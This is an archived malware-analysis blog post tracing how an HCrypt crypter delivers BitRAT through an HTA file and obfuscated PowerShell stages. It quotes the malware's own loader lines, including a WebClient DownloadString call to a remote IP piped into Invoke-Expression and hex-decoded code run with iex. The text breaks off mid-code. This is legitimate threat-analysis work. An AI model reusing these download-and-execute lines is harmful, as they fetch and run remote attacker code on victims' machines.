HCrypt Injecting BitRAT using PowerShell, HTAs, and .NET Published: 2022-01-23 · Archived: 2026-04-05 17:36:57 UTC One of my colleagues made a statement recently about how commonplace process injection has become among malware, to the point where it seems adversaries don’t have to think about the injection techniques anymore. This is absolutely true as many adversaries deploying malware have begun using crypters like HCrypt or Snip3 that inject their arbitrary payloads into other arbitrary processes. In this post I’m going to walk though analyzing a malware payload protected using HCrypt and injected into aspnet_compiler.exe . If you want to play along at home, the sample is available in MalwareBazaar here: https://bazaar.abuse.ch/sample/f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3/ Wait, Isn’t Injection Complicated?? Eh, process injection can be extremely technical and complicated depending on how deeply you want to understand process internals. If you’re simply looking to use process injection, there are multiple free and paid tools that will help you inject an arbitrary array of bytes into an arbitrary process’s memory. In some of the paid products, all an adversary needs to do is check a box. In the case of free tools, sometimes a little bit of coding is needed. Triaging PS1.hta and Decoding (Stage 01) MalwareBazaar says the sample is a HTA file, but we should still approach with caution using file . 1 2 3 4 5 6 7 8 9 10 11 12 13 14 remnux@remnux:~/cases/bitrat$ file PS1.hta PS1.hta: HTML document, ASCII text, with very long lines, with no line terminators remnux@remnux:~/cases/bitrat$ xxd PS1.hta | head 00000000: 3c73 6372 6970 7420 6c61 6e67 7561 6765 After distilling the PowerShell command it looks like our hypothesis is confirmed! The PowerShell command creates a Net.WebClient object and calls DownloadString() to retrieve additional content. Then the content is fed into Invoke-Expression . Since this cmdlet is designed to execute additional arbitrary PowerShell commands, we can assume whatever gets downloaded is also PowerShell. So let’s dig into PS1_B.txt ! 1 2 3 4 5 $Hx = 'hxxp://135.148.74[.]241/PS1_B.txt'; $HB=('DownloadString'); $HBB=('Net.WebClient'); $HBBB=('IeX(New-Object $HBB).$HB($Hx)'); $HBBBBB =($HBBB -Join '')|InVoke-exPressioN Decoding PS1_B.txt PowerShell (Stage 03) Fast-forwarding through the triage of this file, we can see it contains PowerShell code as expected. We can already see some low-hanging indicators in the content. C:\ProgramData\3814364655181379114711\3814364655181379114711.HTA is going to contain the code specified in $FFF . Just like the first HTA file, the content is obfuscated using URL encoding. I’m going to wager that’s part of a persistence mechanism. Again, we see a URL and Invoke-Expression . It’s probably a safe bet that the URL delivers more PowerShell code. There’s also a hex-encoded string that likely contains PowerShell code. After https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/ Page 2 of 7 getting decoded into $asciiString the code gets executed with iex , an alias for Invoke-Expression . So let’s get that cleartext string. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $HHxHH = "C:\ProgramData\3814364655181379114711" $HHHxHHH = "C:\ProgramData\3814364655181379114711" $hexString = "5b 73 79 73 74 65 6d 2e 69 6f 2e 64 69 72 65 63 74 6f 72 79 5d 3a 3a 43 72 65 61 74 65 44 69 72 65 63 74 6f 72 $asciiChars = $hexString -split ' ' |ForEach-Object {[char][byte]"0x$_"} $asciiString = $asciiChars -join '' iex $asciiString start-sleep -s 3 $FFF = @'